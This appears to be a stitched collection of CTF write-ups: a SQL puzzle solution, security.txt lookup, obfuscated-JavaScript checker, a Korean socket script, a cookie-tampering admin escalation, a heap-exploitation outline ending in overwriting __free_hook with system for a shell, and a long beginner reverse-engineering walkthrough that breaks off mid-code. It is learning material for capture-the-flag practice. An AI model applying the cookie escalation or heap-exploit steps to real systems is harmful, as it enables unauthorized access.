VALUES('{d,B,3}','{c,E,7}');INSERT INTO rel(s, d) VALUES('{a,E,6}','{d,C,3}'); -- b,C,6INSERT INTO rel(s, d) VALUES('{c,B,7}','{b,D,6}');INSERT INTO rel(s, d) VALUES('{b,H,7}','{b,H,5}');INSERT INTO rel(s, d) VALUES('{b,C,7}','{c,B,4}');INSERT INTO rel(s, d) VALUES('{a,C,5}','{a,C,3}'); -- d,A,4
CREATE OR REPLACE FUNCTION flag() RETURNS text LANGUAGE sql IMMUTABLE SECURITY DEFINER AS $$ WITH RECURSIVE r(i, j, a) AS ( VALUES (0,1,'{a,B,4}'::TEXT[]), (0,2,'{d,B,7}'), (0,3,'{b,F,1}'), (0,4,'{b,D,7}'), (0,5,'{b,E,7}'), (0,6,'{a,E,3}'), (0,7,'{b,A,2}'), (0,8,'{d,F,2}'), (0,9,'{d,F,7}'), (0,10,'{a,A,4}'), (0,11,'{b,H,7}'), (0,12,'{b,H,5}'), (0,13,'{a,E,6}'), (0,14,'{d,C,3}'), (0,15,'{d,E,5}'), (0,16,'{d,B,1}'), (0,17,'{c,A,5}'), (0,18,'{b,G,6}'), (0,19,'{d,E,7}'), (0,20,'{c,F,7}'), (0,21,'{c,B,2}'), (0,22,'{d,D,3}'), (0,23,'{c,A,1}'), (0,24,'{a,G,1}'), (0,25,'{c,G,7}'), (0,26,'{a,B,3}'), (0,27,'{a,C,5}'), (0,28,'{a,C,3}'), (0,29,'{d,C,6}') UNION SELECT i + 1, j, d FROM r, rel WHERE i < 40 AND a::TEXT[] <@ s ) SELECT string_agg(c, '') FROM ( SELECT c FROM r, dic WHERE i = 40 AND r.a::TEXT[] @> dic.a ORDER BY j ) AS t $$;
REVOKE ALL ON SCHEMA public FROM PUBLIC;REVOKE ALL ON SCHEMA public FROM postgres;GRANT ALL ON SCHEMA public TO postgres;GRANT ALL ON SCHEMA public TO PUBLIC;
```
Now when the FLAG() function is called you get:
```=# select flag(); flag ------------------------------- FTh1rteen_0rphans{}HarekazeCT(1 row)
``` |
To start, we need to find out who voldemortensen is.I started with a twitter search, from there I found @voldemortensen's profile.On his profile you will find a link to his own website garthmortensen.com at this point we have found his website, now we just need to figure out how to send him a vulnerability report.
After a bit of online search I came across http://securitytxt.org/ a new standard that gives websites a form of contact for vulnerability reports. Exactly what we are looking for.If you look at the standards for the security.txt file (further down the home page of securitytxt.org) you will find a few places where a security.txt file can be kept. when you try the garthmortensen.com/.well-known/security.txt you find a page that show a contact for voldemortensen and the flag
>NeverlanCTF Flag>>flag{you_should_have_a_security_txt_too} |
# Obfuscated Password Checker – *Write-up by @terjanq*
> Description> ---> Get the password! > - [src.zip](#)
There are two files inside `src.zip` archive: [bundle.js] and [index.html]. We are asked to put the password inside the input, and the page will tell us whether is correct password or not.The checking is done by an obfuscated *javascript* script ([bundle.js]).
I just triggered the debugger in developer tools, and watched over subsequent calls untill I spotted the `_0x256968: "HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}"` in the Scope.
![answer.png]
Flag: **HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}**
[bundle.js]:<./files/bundle.js>[index.html]:<./files/index.html>[answer.png]: <./answer.png> |
Zipcode문제에 들어가보면 미국의 zipcode에 관한 문제를 준다.문제로 나오느 zipcode에 대한 위도가 몇인지 경도가 몇인지 30초이내에 50문제를 풀면된다.구글에서 zipcode 검색하면 2010년 기준의 zipcode 관련 데이터가 나온다.포맷이 다음과 같다.
GEOID ALAND AWATER ALAND_SQMI AWATER_SQMI INTPTLAT INTPTLONG 00601 166659883 799293 64.348 0.309 18.180555 -66.749961 00602 79287203 4448761 30.613 1.718 18.361945 -67.175597 00603 81884524 184089 31.616 0.071 18.455183 -67.119887 그래서 해당 텍스트를 받고 파이썬을 통해서 답을 찾아서 제출하는 방식으로 프로그래밍을 했다.
zipcode=[input().split() for _ in range(33121)]
ip="c1.easyctf.com" port=12483
s=socket(AF_INET,SOCK_STREAM) #서버와 소통할 소켓을 만드는 과정 s.connect((ip,port))
print (s.recv(1024)) #서버에서 데이터를 가져온다.(예를 들어 "1번답을 입력하세요: ")s.recv(1024)를 통해 가져온 문제를 읽고 파싱을해서 다음과 같이 처리한다.
while True: a=s.recv(1024) print(a) matter_zip=a.split()[-1][0:-1] for zipco,q,r,area,water,d,e,lati,logi in zipcode: if zipco.encode()==matter_zip: if 'longitude'.encode() in a: s.send(logi.encode()+'\n'.encode()) elif 'latitude'.encode() in a: s.send(lati.encode()+'\n'.encode()) elif 'water'.encode() in a: s.send(water.encode()+'\n'.encode()) else: s.send(area.encode()+'\n'.encode()) s.close()이렇게 하면 정상적으로 플래그가 나오게 된다. 하지만 플래그 값을 저장안해놔서 적을 수가 없음! |
All write-ups about web challenges i have made, hope u guys enjoy ;)
https://medium.com/@thereallulz/write-up-tamuctf-2018-miscellaneous-all-challenges-66b791171a79 |
# NeverLan CTF 2018: Das_blog
**Category:** Web Exploitation**Points:** 200
**Description:**
>John made a new web site go check it out
>http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14054
## Write-up
In source of login.php we have login & password for dev account:>
If we look at the cookies we will find this:>permissions=user
So, mabye we change it to admin?
Yes! After change and reload main site we have:>You have ADMIN permissions
And our flag is:`flag{C00ki3s_c4n_b33_ch4ng3d_?}` |
[https://rawsec.ml/en/NeverLAN-CTF-2018-writeups/#100-even-more-basic-math-with-some-junk-scripting](https://rawsec.ml/en/NeverLAN-CTF-2018-writeups/#100-even-more-basic-math-with-some-junk-scripting) |
1. Leak heap address by changing setting the length of name of the animal to 0x14.2. Trigger the overflow in feed function by feeding/walking appropriately.3. Allocate 2 consecutive chunks and free the first one.4. Allocate another chunk (the same first one as above) and overflow into the second one.5. Overflow such that on freeing the second chunk, it coalesces with an animal chunk at the start.6. That animal chunk's feeds[0] and feeds[1] would be taken as 'fd' and 'bk' pointers.7. Trigger overflow in that chunk to initialize fd->bk and bk->fd properly.8. Allocate chunks from that animal chunk to overwrite 'species' with the heap address of chunk in unsorted bin + 0x10 and leak libc.9. Keep on allocating to forge the next animal chunk and set likes > 14.10. Walk any existing chunk and overwrite the contents of the animal chunk's feed to clear invalid pointers and also setup pointers to '\_\_free_hook' and '/bin/sh'.11. Overwrite free hook with system. |
# Write-up - "EzReverse" challenge - EasyCTF_IV
## 1. Introduction
This is my first real challenge, and as such, it too me around 20h to solve. Instead of showing the *best* way to find the flag, I'll explain my thought process and show my mistakes, so that you, the reader, can learn from both. Since this is an *easy* challenge, this write-up is primarily targeted to newbies like me, although I'm sure a more experienced reverse engineers can get a laugh or two at my mistakes :).Everything you need is on this repository, including my python scripts and a decompiled c file. Just download and enjoy!
### Table of content
1. [Introduction](#1-introduction) - [Table of content](#table-of-content) - [What You'll need to follow along](#what-youll-need-to-follow-along) 2. [First analysis, or the chmod conundrum](#2-first-analysis-or-the-chmod-conundrum) 1. [`file`](#21-file) 2. [`hexdump`](#22-hexdump) 3. [`strings`](#23-strings) 4. [**`chmod`**, or facepalm moment](#24-chmod-or-facepalm-moment) 5. [First runs](#25-first-runs) 3. [What does this mess do?](#3-what-does-this-mess-do) 1. [How to disassemble tho?](#31-how-to-disassemble-tho) 2. [**radare2** FTW!](#32-radare2-ftw) 3. [Now, you just have to understand...](#33-now-you-just-have-to-understand) 4. [Bruteforce baby!](#4-bruteforce-baby) 1. [Patch Time](#41-patch-time) 2. [Bruteforce Script](#42-bruteforce-script) 3. [Bruteforce Attack](#43-bruteforce-attack) 5. [Let's try the smart way](#5-lets-try-the-smart-way) 1. [Decompiling the binary](#51-decompiling-the-binary) 2. [Cleanup and thoughts](#52-cleanup-and-thoughts) 3. [Solving the mystery](#53-solving-the-mystery) 6. [Bonus : solving with z3](#6-bonus--solving-with-z3)
7. [Conclusion](#7-conclusion)
### What You'll need to follow along
- Some basic programing knowledge (an introductory course to C or/and Python should be enough)- A basic understanding of Linux's CLI (ls, cd, echo... )- A basic understanding of how hexadecimal works (If you are able to count to 0xff, you ar good)- A basic understanding of how ASCII works (and an [ASCII table](https://fr.wikipedia.org/wiki/American_Standard_Code_for_Information_Interchange#/media/File:ASCII-Table-wide.svg))- A linux Virtual Machine
Depending on your skill on each topic, a good day to a good week of googling should give you everything you need to tag along! Also, if you are new to this or simply a bit rusty, I can't recommend enough [this youtube playlist](https://www.youtube.com/watch?v=iyAyN3GFM7A&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN) by [LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w). Watch it to at least the 8th video, practice a little bit with the examples he gives and you'll have no problem understanding this write-up.
I started with a brand new Fedora 27 Virtual Machine, and not much else. I [downloaded the binary](./executable) from [CTFTime](https://ctftime.org/task/5365), noticed that a write-up already existed, promised myself to not read it and started right away.
## 2. First analysis, or the chmod conundrum
### 2.1 `file`
I thought I would first run the executable to see what it does. And I ran into the first problem : it wouldn't start:
``` shell$ ./executablebash: ./executable: Permission denied```
So, after looking for solution online, I ran the [**`file`**](http://man7.org/linux/man-pages/man1/file.1.html) command, which will say what linux thinks this file is:
``` shell$ file executableexecutable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,for GNU/Linux 2.6.32, BuildID[sha1]=eb7a47c52c657a17b5ae730826c4640de86b0dcf, not stripped```
Mmmmh. My modest knowledge tells me that this should work ok...
### 2.2 `hexdump`
Fair enough, now let's [**`hexdump`**](http://man7.org/linux/man-pages/man1/hexdump.1.html) that bitch to see what it contains! `hexdump` is printing the actual zeros and ones that make the file, but converted in an hexadecimal format. Some numbers correspond to letters. The -C parameter shows those letters on the right.
``` shell$ hexdump -C executable00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|00000010 02 00 3e 00 01 00 00 00 b0 06 40 00 00 00 00 00 |..>.......@.....|00000020 40 00 00 00 00 00 00 00 60 1b 00 00 00 00 00 00 |@.......`.......|00000030 00 00 00 00 40 00 38 00 09 00 40 00 1e 00 1b 00 |[email protected]...@.....|00000040 06 00 00 00 05 00 00 00 40 00 00 00 00 00 00 00 |........@.......|00000050 40 00 40 00 00 00 00 00 40 00 40 00 00 00 00 00 |@.@.....@.@.....|00000060 f8 01 00 00 00 00 00 00 f8 01 00 00 00 00 00 00 |................|00000070 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 |................|00000080 38 02 00 00 00 00 00 00 38 02 40 00 00 00 00 00 |8.......8.@.....|00000090 38 02 40 00 00 00 00 00 1c 00 00 00 00 00 00 00 |8.@.............|000000a0 1c 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 |................|000000b0 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 |................|000000c0 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 |..@.......@.....|000000d0 0c 0c 00 00 00 00 00 00 0c 0c 00 00 00 00 00 00 |................|000000e0 00 00 20 00 00 00 00 00 01 00 00 00 06 00 00 00 |.. .............|000000f0 e0 0d 00 00 00 00 00 00 e0 0d 60 00 00 00 00 00 |..........`.....|00000100 e0 0d 60 00 00 00 00 00 7c 02 00 00 00 00 00 00 |..`.....|.......|00000110 98 02 00 00 00 00 00 00 00 00 20 00 00 00 00 00 |.......... .....|00000120 02 00 00 00 06 00 00 00 f8 0d 00 00 00 00 00 00 |................|00000130 f8 0d 60 00 00 00 00 00 f8 0d 60 00 00 00 00 00 |..`.......`.....|00000140 00 02 00 00 00 00 00 00 00 02 00 00 00 00 00 00 |................|00000150 08 00 00 00 00 00 00 00 04 00 00 00 04 00 00 00 |................|00000160 54 02 00 00 00 00 00 00 54 02 40 00 00 00 00 00 |T.......T.@.....|00000170 54 02 40 00 00 00 00 00 44 00 00 00 00 00 00 00 |[email protected].......|00000180 44 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 |D...............|00000190 50 e5 74 64 04 00 00 00 94 0a 00 00 00 00 00 00 |P.td............|000001a0 94 0a 40 00 00 00 00 00 94 0a 40 00 00 00 00 00 |..@.......@.....|000001b0 44 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 |D.......D.......|000001c0 04 00 00 00 00 00 00 00 51 e5 74 64 06 00 00 00 |........Q.td....|000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*000001f0 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 |................|00000200 52 e5 74 64 04 00 00 00 e0 0d 00 00 00 00 00 00 |R.td............|00000210 e0 0d 60 00 00 00 00 00 e0 0d 60 00 00 00 00 00 |..`.......`.....|00000220 20 02 00 00 00 00 00 00 20 02 00 00 00 00 00 00 | ....... .......|00000230 01 00 00 00 00 00 00 00 2f 6c 69 62 36 34 2f 6c |......../lib64/l|00000240 64 2d 6c 69 6e 75 78 2d 78 38 36 2d 36 34 2e 73 |d-linux-x86-64.s|00000250 6f 2e 32 00 04 00 00 00 10 00 00 00 01 00 00 00 |o.2.............|[...]000021b0 60 10 60 00 00 00 00 00 5c 10 00 00 00 00 00 00 |`.`.....\.......|000021c0 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|000021d0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|000021e0 ff 00 00 00 01 00 00 00 30 00 00 00 00 00 00 00 |........0.......|000021f0 00 00 00 00 00 00 00 00 5c 10 00 00 00 00 00 00 |........\.......|00002200 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |-...............|00002210 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 |................|00002220 11 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 |................|00002230 00 00 00 00 00 00 00 00 89 10 00 00 00 00 00 00 |................|00002240 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|00002250 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|00002260 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 |................|00002270 00 00 00 00 00 00 00 00 98 11 00 00 00 00 00 00 |................|00002280 f0 06 00 00 00 00 00 00 1d 00 00 00 2d 00 00 00 |............-...|00002290 08 00 00 00 00 00 00 00 18 00 00 00 00 00 00 00 |................|000022a0 09 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 |................|000022b0 00 00 00 00 00 00 00 00 88 18 00 00 00 00 00 00 |................|000022c0 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|000022d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|000022e0```
Yeah, I may have overestimated myself a bit here, I have no idea WTF this is. Still, I see `ELF` and `ld-linux-x86-64.so.2`, which probably means that this file is a linux executable. So Y no work?
### 2.3 `strings`
Who knows, since it's an easy challenge, maybe the flag is coded in the binary, which is itself corrupted so no one can actually run it. The [**`strings`**](http://man7.org/linux/man-pages/man1/strings.1.html) command goes through the whole file and only outputs what it thinks a human could read. Let's try it!

Well that's what I call progress. Some interesting strings, obviously (even though it's no flag), especially some function and other names I recognize from my C days :
- `puts()`- `printf()`- `stdout()`- gcc...
So this program must be written in C (or maybe C++, I saw a `libstdc++` string too). I gotta say the "`You thought you could avoid it huh?`" has me a little scared... Now, if I could just run it, that would be great.
### 2.4 [**`chmod`**](http://man7.org/linux/man-pages/man2/chmod.2.html), or facepalm moment
On linux, you need to tell the system that the file is executable before running it. That is done with the `chmod +x nameOfTheFile` command. I am way too ashamed to tell you how long it took me to find/remember this...Now, let's try to run it.
``` shell$ chmod +x ./executable$ ./executable$```
That was anticlimactic. Let's try to run it with an argument then:
### 2.5 First runs

That... is not a good sign... what was deleted? let's try to run it again:
``` shell$ ./executablebash: ./executable: No such file or directory$ ls$```
This stupid program deleted itself ! Well, I guess I'll download it again.
I didn't try it at first, but later I found out that even if you press `CTRL + C` while it's deleting itself, you get the ""`You thought you could avoid it huh?`" string, and the program still deletes itself.

Still, it's an interesting behavior. It means that I cannot try a so called "bruteforce" attack, or I'll need to re download the binary after every failed attempt. I'll have to disassemble it and understand what it does to give it the argument it expects right away. I guess I'll take the challenge's hint :
> [**Objdump**](http://man7.org/linux/man-pages/man1/objdump.1.html) the executable and read some assembly
## 3. What does this mess do?
### 3.1 How to disassemble tho?
Disassembling a program means finding the instructions the processor follows. It is usually written in a stupidly ugly and hard to follow language: the assembly (asm for short). [**Objdump**](http://man7.org/linux/man-pages/man1/objdump.1.html) is a program that can do this disassembly for us, and show us the asm code of the executable. Since it's been hinted at, let's try it! (I'll only show the disassembly of the main function here, but the output is much longer)
``` shell$ objdump -d executable
executable: file format elf64-x86-64
[...]
0000000000400835 <main>: 400835: 55 push %rbp 400836: 48 89 e5 mov %rsp,%rbp 400839: 48 83 ec 30 sub $0x30,%rsp 40083d: 89 7d dc mov %edi,-0x24(%rbp) 400840: 48 89 75 d0 mov %rsi,-0x30(%rbp) 400844: be f1 07 40 00 mov $0x4007f1,%esi 400849: bf 02 00 00 00 mov $0x2,%edi 40084e: e8 2d fe ff ff callq 400680 <signal@plt> 400853: 48 8b 45 d0 mov -0x30(%rbp),%rax 400857: 48 8b 00 mov (%rax),%rax 40085a: 48 89 05 0f 08 20 00 mov %rax,0x20080f(%rip) # 601070 <target> 400861: 8b 45 dc mov -0x24(%rbp),%eax 400864: 83 f8 02 cmp $0x2,%eax 400867: 74 0b je 400874 <main+0x3f> 400869: 90 nop 40086a: b8 02 00 00 00 mov $0x2,%eax 40086f: e9 1c 01 00 00 jmpq 400990 <main+0x15b> 400874: 90 nop 400875: 48 8b 45 d0 mov -0x30(%rbp),%rax 400879: 48 8b 40 08 mov 0x8(%rax),%rax 40087d: 48 89 45 f8 mov %rax,-0x8(%rbp) 400881: c7 45 e0 01 00 00 00 movl $0x1,-0x20(%rbp) 400888: c7 45 e4 02 00 00 00 movl $0x2,-0x1c(%rbp) 40088f: c7 45 e8 03 00 00 00 movl $0x3,-0x18(%rbp) 400896: c7 45 ec 04 00 00 00 movl $0x4,-0x14(%rbp) 40089d: c7 45 f0 05 00 00 00 movl $0x5,-0x10(%rbp) 4008a4: 8b 55 e0 mov -0x20(%rbp),%edx 4008a7: 48 8b 45 f8 mov -0x8(%rbp),%rax 4008ab: 0f b6 00 movzbl (%rax),%eax 4008ae: 0f be c0 movsbl %al,%eax 4008b1: 01 d0 add %edx,%eax 4008b3: 89 45 e0 mov %eax,-0x20(%rbp) 4008b6: 8b 55 e4 mov -0x1c(%rbp),%edx 4008b9: 48 8b 45 f8 mov -0x8(%rbp),%rax 4008bd: 48 83 c0 01 add $0x1,%rax 4008c1: 0f b6 00 movzbl (%rax),%eax 4008c4: 0f be c0 movsbl %al,%eax 4008c7: 01 d0 add %edx,%eax 4008c9: 89 45 e4 mov %eax,-0x1c(%rbp) 4008cc: 8b 55 e8 mov -0x18(%rbp),%edx 4008cf: 48 8b 45 f8 mov -0x8(%rbp),%rax 4008d3: 48 83 c0 02 add $0x2,%rax 4008d7: 0f b6 00 movzbl (%rax),%eax 4008da: 0f be c0 movsbl %al,%eax 4008dd: 01 d0 add %edx,%eax 4008df: 89 45 e8 mov %eax,-0x18(%rbp) 4008e2: 8b 55 ec mov -0x14(%rbp),%edx 4008e5: 48 8b 45 f8 mov -0x8(%rbp),%rax 4008e9: 48 83 c0 03 add $0x3,%rax 4008ed: 0f b6 00 movzbl (%rax),%eax 4008f0: 0f be c0 movsbl %al,%eax 4008f3: 01 d0 add %edx,%eax 4008f5: 89 45 ec mov %eax,-0x14(%rbp) 4008f8: 8b 55 f0 mov -0x10(%rbp),%edx 4008fb: 48 8b 45 f8 mov -0x8(%rbp),%rax 4008ff: 48 83 c0 04 add $0x4,%rax 400903: 0f b6 00 movzbl (%rax),%eax 400906: 0f be c0 movsbl %al,%eax 400909: 01 d0 add %edx,%eax 40090b: 89 45 f0 mov %eax,-0x10(%rbp) 40090e: 8b 45 ec mov -0x14(%rbp),%eax 400911: 83 f8 6f cmp $0x6f,%eax 400914: 75 51 jne 400967 <main+0x132> 400916: 8b 45 e8 mov -0x18(%rbp),%eax 400919: 8b 55 ec mov -0x14(%rbp),%edx 40091c: 83 c2 0e add $0xe,%edx 40091f: 39 d0 cmp %edx,%eax 400921: 75 44 jne 400967 <main+0x132> 400923: 8b 45 e0 mov -0x20(%rbp),%eax 400926: 8b 55 f0 mov -0x10(%rbp),%edx 400929: 83 ea 0a sub $0xa,%edx 40092c: 39 d0 cmp %edx,%eax 40092e: 75 37 jne 400967 <main+0x132> 400930: 8b 45 e4 mov -0x1c(%rbp),%eax 400933: 83 f8 35 cmp $0x35,%eax 400936: 75 2f jne 400967 <main+0x132> 400938: 8b 45 f0 mov -0x10(%rbp),%eax 40093b: 8b 55 ec mov -0x14(%rbp),%edx 40093e: 83 c2 03 add $0x3,%edx 400941: 39 d0 cmp %edx,%eax 400943: 75 22 jne 400967 <main+0x132> 400945: bf 66 0a 40 00 mov $0x400a66,%edi 40094a: b8 00 00 00 00 mov $0x0,%eax 40094f: e8 dc fc ff ff callq 400630 <printf@plt> 400954: 48 8d 45 e0 lea -0x20(%rbp),%rax 400958: 48 89 c7 mov %rax,%rdi 40095b: e8 3d fe ff ff callq 40079d <_Z7print_5Pi> 400960: b8 01 00 00 00 mov $0x1,%eax 400965: eb 29 jmp 400990 <main+0x15b> 400967: 90 nop 400968: bf 02 00 00 00 mov $0x2,%edi 40096d: e8 fe fc ff ff callq 400670 <sleep@plt> 400972: 48 8b 45 d0 mov -0x30(%rbp),%rax 400976: 48 8b 00 mov (%rax),%rax 400979: 48 89 c7 mov %rax,%rdi 40097c: e8 0f fd ff ff callq 400690 <remove@plt> 400981: bf 7e 0a 40 00 mov $0x400a7e,%edi 400986: e8 c5 fc ff ff callq 400650 <puts@plt> 40098b: b8 02 00 00 00 mov $0x2,%eax 400990: c9 leaveq 400991: c3 retq 400992: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 400999: 00 00 00 40099c: 0f 1f 40 00 nopl 0x0(%rax)
[...]
```
Nope. No way I'm reading this mess. I'll try to find an other way cause this is not doable at all.
### 3.2 [**radare2**](https://github.com/radare/radare2) FTW!
After much research on the internet, I ended up using [**radare2**](https://github.com/radare/radare2) to disassemble this binary. It's command line only, and the learning curve is a bit steep, but after a fair bit of messing around, I found those useful commands :
- `r2 fileName` -> Opens the file to disassemble- `aaaa` -> *analyses* stuff. No idea but it's required.- `e asm.pseudo=true` -> will change the asm code to make it more *readable*- `afl` -> displays the list of functions radare2 found in the binary- `s main` -> seek to the beginning of the main function- `pdf`-> displays the asm code (and does **NOT** save it as a .pdf file :))
And I got this :

### 3.3 Now, you just have to understand...
The key here is not to try to understand each individual line of code, you won't succeed. Just try to understand how the code flows, what instructions are executed after which one, what path does the code take... After a bit of thinking, I highlighted every `goto` instructions (which are in fact `jump` instructions that radare2 modified for us to make it more clear. That's what the `ams.pseudo` is doing, among other things). You could also use the `VV` command to see a graph representation of the program flow, that may be more visual.
1. The beginning does some stuff, then, at the address `0x00400867`, checks if a value equals 2. In some cases (I'm not sure which one it is), it jumps to the end of the program and nothing happens. Well, that exactly the behavior we encountered at the beginning, when we ran the program without an argument. So this beginning just sets up some stuff, then checks if an argument has been passed. If not, then it jumps to the end and the program just stops.2. Then, we get some pretty complex logic, and a series of jumps that all lead to the same place, namely `0x00400967`.3. If we did not jump, we end up at `0x00400945`, which calls a "printf()" with a very enticing "`Now here is your flag:`" string. That means we passed all the checks, and if we end up there, we are golden. But if we fail any of the checks, we end up at `0x00400967`.4. At this address, we have a call to the very ominous `sym.imp.remove()` function, as well as a call to the `puts()` function, with this string : "`successfully deleted!`". That's what happens when we give a random argument to the program! it deletes itself, then writes "successfully deleted!".
I now have a basic understanding of how this program behaves. I could try to read line by line the logic from `0x00400874` to `0x00400943`, and understand what the program wants as an input. But I'm really bad at asm and this looks like hard work. I have an other **(very bad)** idea.
## 4. Bruteforce baby!
Do you remember [why we could not try to pass random combinations of characters until we find the good one](#25-first-runs)? The program would delete itself. what if I could simply remove this instruction at `0x0040097c` that keeps deleting our binary file if we don't pass the checks, and just simply try (a lot of) random letters? Well that's exactly what I did, for the better and (_especially_) for the worse.
### 4.1 Patch Time
[**radare2**](https://github.com/radare/radare2) allows us to modify a few lines of asm and reassemble our code. Here are the commands :
- `r2 -w executable` -> open the binary with writing rights- `s 0x0040097c` -> seek to the annoying call address- `wao nop` -> replace the instruction here by a `nop` instruction, which does nothing.
Let's do the same for the sleep() instruction at `0x0040096d`. If the program doesn't wait a few seconds before it closes every time, our bruteforce attack will be much faster.
We can use the command `pdf` again to see how we changed the code :

Let's press `q` a few time to quit radare2 and try our new executable (which I renamed to "`PATCHED_executable`")
``` shell$ ./PATCHED_executable "AAAABBBBCCCCDDDD"successfully deleted![echo@localhost 5365_EzReverse]$ lsexecutable PATCHED_executable```
And sure enough, it does says that it deletes stuff (since we didn't erase the call to `puts()` at `0x00400986`), but a quick `ls` shows us that this is just a lie. Now we just have to write a quick script that tries to pass every possible combinations of characters to the executable. That must be EZ, right? RIGHT?
### 4.2 Bruteforce Script
Here is my annotated python3 script. It shouldn't be too hard to follow. Many thanks to [CoryKramer](https://stackoverflow.com/users/2296458/corykramer) on [Stack Overflow](https://stackoverflow.com/) for is [answer](https://stackoverflow.com/a/40269815) on which my script is based. Also, thanks to the [tqdm](https://github.com/noamraph/tqdm) contributors, who saved me hours of wait (see below).
``` pythonimport subprocessimport stringfrom itertools import productfrom sys import exitfrom tqdm import tqdm # fancy progressbar stuff
guess = "" # string that will contain our argumentchars = string.ascii_letters + string.digits # dictionary of allowed charactersguessLength = 0 # length of the argument at the start. Increase to start with bigger password.
print("\n\nBruteforce attack")print("-----------------\n")
while True: guessLength = guessLength + 1 # let's search with one more character (starting with a 1 character long argument) expectedGuesses = len(chars) ** guessLength # the amount of guess needed to try every combinations for guessLength characters
print("Trying every arguments with length ", guessLength)
with tqdm(total = expectedGuesses, mininterval = 1) as pbar: # fancy progressbar stuff for guess in product(chars, repeat=guessLength): # iterates all the possibles combinations for guessLength characters pbar.update(1)
guess = ''.join(guess) # our new argument
exec = subprocess.run(["./PATCHED_executable", guess], stdout=subprocess.PIPE) # try to run the executable with our argument output = exec.stdout.decode('utf-8') if not 'deleted!' in output: # we analyse the output of the executable. If it doesn't say "successfully deleted!", then we are golden. print("ARGUMENT FOUND\n", guess, "\tOutput = ", output) exit() # else: # that would print the current guess. commented for performance reasons. # print(guess, "\tOutput = ", output[:-1])```
Let's run it !
### 4.3 Bruteforce Attack

Uh oh... So I initially didn't have the progress bar telling me the remaining time. SO I thought everything would be ok. After quite a while I found [tqdm](https://github.com/noamraph/tqdm), which was super easy to implement in my code, and gave me an expected remaining time. Turns out it's way too much. Remember that at this point I have no idea how long the expected argument is. Let's say it is 8 characters long. Well, that would give me around 236,000,000 hours to wait to try every combinations. So roughly 27,000 years.

This kind of attack may be possible if I ran a compiled C program on a very fast processor. But my crappy Python code running on a small 2 cores virtual machine won't cut it.
At this point, I'll need more information on the expected argument, to narrow down my bruteforce attack, or simply just find it first time, by understanding the disassembled code.
## 5. Let's try the smart way
After some hours spent staring at the asm code, I still have no idea what it does. Running it step by tep with [**radare2**](https://github.com/radare/radare2) didn't even help. So I decided to look into decompilers.
### 5.1 Decompiling the binary
Instead of *simply* disassembling the binary, some programs, called decompilers, try to recover the original source code. For some languages that aren't compiled, like Java, this is almost easy. But it nearly impossible for compiled languages, like C or C++, because the compiler (GCC in our case), messes the original code too much to produce the assembly. Still, some programs claim to be able to do it.
I know that [IDA Pro](https://www.hex-rays.com/products/ida/) offers a [state of the art C decompiler](https://www.hex-rays.com/products/decompiler/), but there is no way I can afford the (probably justified) 2629$ price tag. After a few failed attempts with [snowman](https://derevenets.com/) and [REC Studio](https://www.backerstreet.com/rec/rec.htm) which only gave me some gibberish, I ended up downloading [Hopper Disassembler v4](https://www.hopperapp.com/), with a free trial, and I can't recommend it enough. I'll probably buy a full license (99$) next pay day. Still, the free trial should be enough for you if you want to follow along with me.

So I start Hopper, `CTRL+SHIFT+O` to open the binary, and the asm magically shows up. I can seek to main on the left panel, and then press `ALT+ENTER` to get the C code. I'll copy it to my text editor, as well as the two functions above main, which I just now understand that they are part of the C source and not some random gibberish added by GCC, and concentrate.
### 5.2 Cleanup and thoughts
So we ended up with this :
``` cint _Z7print_5Pi(int * arg0) { rax = printf("%d%d%d%d%d\n", *(int32_t *)arg0, *(int32_t *)(arg0 + 0x4), *(int32_t *)(arg0 + 0x8), *(int32_t *)(arg0 + 0xc), *(int32_t *)(arg0 + 0x10)); return rax;}
int _Z13sigintHandleri(int arg0) { signal(0x2, 0x4007f1); puts("\n You thought you could avoid it huh?"); fflush(*stdout@@GLIBC_2.2.5); rax = *target; rax = remove(rax); return rax;}
int main(int arg0, int arg1) {
; Variables: ; var_8: -8 ; var_10: -16 ; var_14: -20 ; var_18: -24 ; var_1C: -28 ; var_20: -32 ; var_24: -36 ; var_30: -48
